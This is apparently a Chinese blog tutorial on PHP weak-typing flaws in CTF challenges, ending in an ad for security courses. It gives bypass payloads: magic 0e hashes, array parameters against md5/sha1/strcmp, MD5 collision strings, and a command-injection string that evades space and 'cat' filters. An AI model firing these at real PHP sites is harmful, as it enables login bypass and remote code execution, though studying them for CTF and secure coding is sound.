弱类型的语言对变量的数据类型没有限制,你可以在任何地时候将变量赋值给任意的其他类型的变量,同时变量也可以转换成任意地其他类型的数据。这时候在类型转化、不同类型比较、不合理地传参,会造成意外执行结果和绕过防御。
一. 类型转换
php 常见的转换主要就是int转换为string,string转换为int。
int转string:
$var = 5; 方式1:$item = (string)$var; 方式2:$item = strval($var); |
string转int:intval()函数。
var_dump(intval('2')) //2 var_dump(intval('3abcd')) //3 var_dump(intval('abcd')) //0 |
intval()转换的时候,会将从字符串的开始进行转换知道遇到一个非数字的字符。即使出现无法转换的字符串,intval()不会报错而是返回0。
php 有三个等号(===)和两个等号(==),区别在于三个等号比较时候,会比较变量类型再比较值,两个等号会转化为同一类型再比较。
<?php var_dump(1 == '1a');//true var_dump(null==false);//true var_dump(0==false);//true var_dump(0==null);//true |
二. 比较操作符
2.1 整形与字符串比较
整形与字符串比较时,会将字符串转为整形再比较,转化规则为从字符串左边开始进行转换直到遇到非数值的字符。
<? var_dump(0 == 'a');//true |
2.2 Hash比较
当符合\d+e\d+ 的字符串,会将这种字符串解析为科学计数法,例如:0e1=0*10=0
如果 哈希计算结果 是以 0e 开头,在做比较的时候,可以用这种方法绕过
<?php var_dump('0e481036490867661113260034900752' == '0' );//true var_dump('0e509367213418206700842008763514'=='0e481036490867661113260034900752');//true var_dump(md5('240610708') == md5('QNKCDZO'));//true var_dump(md5('aabg7XSs') == md5('aabC9RqS'));//true var_dump(sha1('aaroZmOk') == sha1('aaK1STfY'));//true var_dump(sha1('aaO8zKZF') == sha1('aa3OFF9m'));//true |
2.3 十六进制转换
php7版本以下,字符串以0x开头时,会将字符串转化为十进制再比较。
<?php var_dump('0xccccccccc' == '54975581388'); //php7以下为true |
例题:
<?php error_reporting(0); function noother_says_correct($temp) { $flag = 'flag{test}'; $one = ord('1'); //ord — 返回字符的 ASCII 码值 $nine = ord('9'); //ord — 返回字符的 ASCII 码值 $number = '3735929054'; // Check all the input characters! for ($i = 0; $i < strlen($number); $i++) { // Disallow all the digits! $digit = ord($temp{$i}); if ( ($digit >= $one) && ($digit <= $nine) ) ## 1到9不允许,但0允许 { // Aha, digit not allowed! return "flase"; } } if($number == $temp) return $flag; } $temp = $_GET['password']; echo noother_says_correct($temp); |
password的字符串值中不能包含1-9的数值,可以含有0,将3735929054转为16进制结果为:deadc0de,传入?password=0xdeadc0de,即可绕过。
三. 内置函数松散型
调用函数时传递给函数无法接受的参数,导致意外的绕过。
3.1 md5()
php的md5( string $str[, bool $raw_output = FALSE] ) ,md5()函数的需要一个string类型的参数。当传入一个array时,md5()不会报错,无法求出array的md5值,结果为NULL, 这就会导致任意2个array的md5值都会相等。
<?php $a= array('1'); $b= array('2'); var_dump(md5($a)===md5($b)); |
例题:
<?php error_reporting(0); $flag = 'flag{test}'; if (isset($_GET['username']) and isset($_GET['password'])) { if ($_GET['username'] == $_GET['password']) print 'Your password can not be your username.'; else if (md5($_GET['username']) === md5($_GET['password'])) die('Flag: '.$flag); else print 'Invalid password'; } ?> |
1)传入两个数组参数
?username[]=1&password[]=2 |
2)MD5值相同
username=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2 password=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2 |
3.2 sha1()
PHP的sha1( string $str[, bool $raw_output = false] )也无法处array类型的参数。
例题:
<?php $flag = "flag"; if (isset($_GET['name']) and isset($_GET['password'])) { if ($_GET['name'] == $_GET['password']) echo 'Your password can not be your name!'; else if (sha1($_GET['name']) === sha1($_GET['password'])) die('Flag: '.$flag); else echo 'Invalid password.'; } else echo 'Login first!'; ?> |
传入两个不同值得数组类型参数即可
name[]=1&password[]=3 |
3.3 strcmp()
strcmp( string $str1, string $str2) ,二进制安全字符串比较,如果 str1 小于 str2 返回 < 0;如果 str1 大于 str2 返回> 0;如果两者相等,返回 0。 当传入参数为数组时,会返回NULL,NULL==0。
<?php $a= ['2']; $b= "1"; var_dump(strcmp($a,$b)==0);//true |
例题:
<?php $flag = "flag{xxxxx}"; if (isset($_GET['a'])) { if (strcmp($_GET['a'], $flag) == 0) //如果 str1 小于 str2 返回 < 0; 如果 str1大于 str2返回 > 0;如果两者相等,返回 0。 die('Flag: '.$flag); else print 'No'; } ?> |
传入 a[]=。
3.4 switch()
如果 switch 是数字类型的 case 的判断时,switch 会将参数转换为 int 类型。
<?php $i ="2qw"; switch ($i) { case 0: case 1: case 2: echo "2"; break; case 3: echo "3"; } //2,"2qw"转化为2 ?> |
3.5 in_array()
in_array( mixed $needle, array $haystack[, bool $strict = FALSE] ) ,检查数组中是否存在某个值,默认使用松散型来判断$needle是否在数组$haystack中,如果设置$strict = true,则在比较时会判断类型是否相等。
<?php $array=[0,1,2,'3']; var_dump(in_array('abc', $array)); //true ,‘abc’转化为0 var_dump(in_array('1bc', $array)); //true,'1bc'转化为1 |
3.6 array_search()
array_search( mixed $needle, array $haystack[, bool $strict = false] ),在数组中搜索给定的值,如果成功则返回首个相应的键名 。默认为松散比较比较,不判断类型是否相等。
<?php $arrayName = [1,"3"]; $key="1a"; var_dump(array_search($key, $arrayName));//0 |
3.7 strpos()
strpos( string $haystack, mixed $needle[, int $offset = 0 ] ),返回 $needle 在 $haystack 中首次出现的数字位置,如果没找到将返回false,当传入的参数$haystack为数组时,将返回NULL,NULL!==false。
例题:
<?php $flag = "flag"; if (isset ($_GET['nctf'])) { if (@ereg ("^[1-9]+$", $_GET['nctf']) === FALSE) # %00截断 echo '必须输入数字才行'; else if (strpos ($_GET['nctf'], '#biubiubiu') !== FALSE) die('Flag: '.$flag); else echo '骚年,继续努力吧啊~'; } |
既要是纯数字,又要有’#biubiubiu’,strpos()找的是字符串,那么传一个数组给它,strpos()出错返回null,null!==false,所以符合要求. 所以输入nctf[]= 那为什么ereg()也能符合呢?因为ereg()在出错时返回的也是null,null!==false,所以符合要求。
3.8 is_numeric()
PHP提供了is_numeric函数,用来变量判断是否为数字。支持普通数字型字符串、科学记数法型字符串、部分支持十六进制0x型字符串。
例题1:
<?php $temp = $_GET['password']; is_numeric($temp)?die("no numeric"):NULL; if($temp>1336){ echo $flag; |
payload
password=1337a |
例题2:
<?php show_source(__FILE__); $flag = "flag{xxxxxxx}"; if(isset($_GET['time'])){ if(!is_numeric($_GET['time'])){ echo 'The time must be number.'; }else if($_GET['time'] < 60 * 60 * 24 * 30 * 2){ echo 'This time is too short.'; }else if($_GET['time'] > 60 * 60 * 24 * 30 * 3){ echo 'This time is too long.'; }else{ sleep((int)$_GET['time']); echo $flag; } echo '<hr>'; } |
1).科学计数法
?time=5.276e6 |
2).十六进制
?time=0x4F1A01 |
四. 例题讲解
4.1 [WUSTCTF2020]朴实无华
robots.txt 得知 fAke_f1agggg.php 文件,访问一个假flag,响应头部有提示 fl4g.php文件
<?php header('Content-type:text/html;charset=utf-8'); error_reporting(0); highlight_file(__file__); //level 1 if (isset($_GET['num'])){ $num = $_GET['num']; if(intval($num) < 2020 && intval($num + 1) > 2021){ echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>"; }else{ die("金钱解决不了穷人的本质问题"); } }else{ die("去非洲吧"); } //level 2 if (isset($_GET['md5'])){ $md5=$_GET['md5']; if ($md5==md5($md5)) echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>"; else die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲"); }else{ die("去非洲吧"); } //get flag if (isset($_GET['get_flag'])){ $get_flag = $_GET['get_flag']; if(!strstr($get_flag," ")){ $get_flag = str_ireplace("cat", "wctf2020", $get_flag); echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>"; system($get_flag); }else{ die("快到非洲了"); } }else{ die("去非洲吧"); } ?> |
level1
intval($num) < 2020 && intval($num + 1) > 2021 |
这里传入num=1e7即可。
在进行intval($num)时被截断成为1,1<2020 => True;
而$num+1时就解析为科学技术法,结果是10000001(也不知道位数对不对,随意啦)。
绕过了。
level2
$md5=$_GET['md5']; |
一般绕过md5的方法有两种,一个是以0e开头,后面全是数字的结果,这个会被解析为科学计数法为0;另一个是利用数组绕过。
这里利用0e绕过:
md5('0e215962017') ==> “0e291242476940776845150308577824” |
get flag
这里是个RCE,过滤了空格和cat。
空格用%09(tab)绕过,cat用反斜杠绕过,构造成ca\t:
fl4g.php?num=1e7&md5=0e215962017&get_flag=ca\t%09fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag |
网络安全学习资源分享:
给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,需要点击下方链接即可前往获取
读者福利 | CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享(安全链接,放心点击)
同时每个成长路线对应的板块都有配套的视频提供:
大厂面试题
视频配套资料&国内外网安书籍、文档
当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料
所有资料共282G,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,可以扫描下方二维码或链接免费领取~
读者福利 | CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享(安全链接,放心点击)
特别声明:
此教程为纯技术分享!本教程的目的决不是为那些怀有不良动机的人提供及技术支持!也不承担因为技术被滥用所产生的连带责任!本教程的目的在于最大限度地唤醒大家对网络安全的重视,并采取相应的安全措施,从而减少由网络安全而带来的经济损失。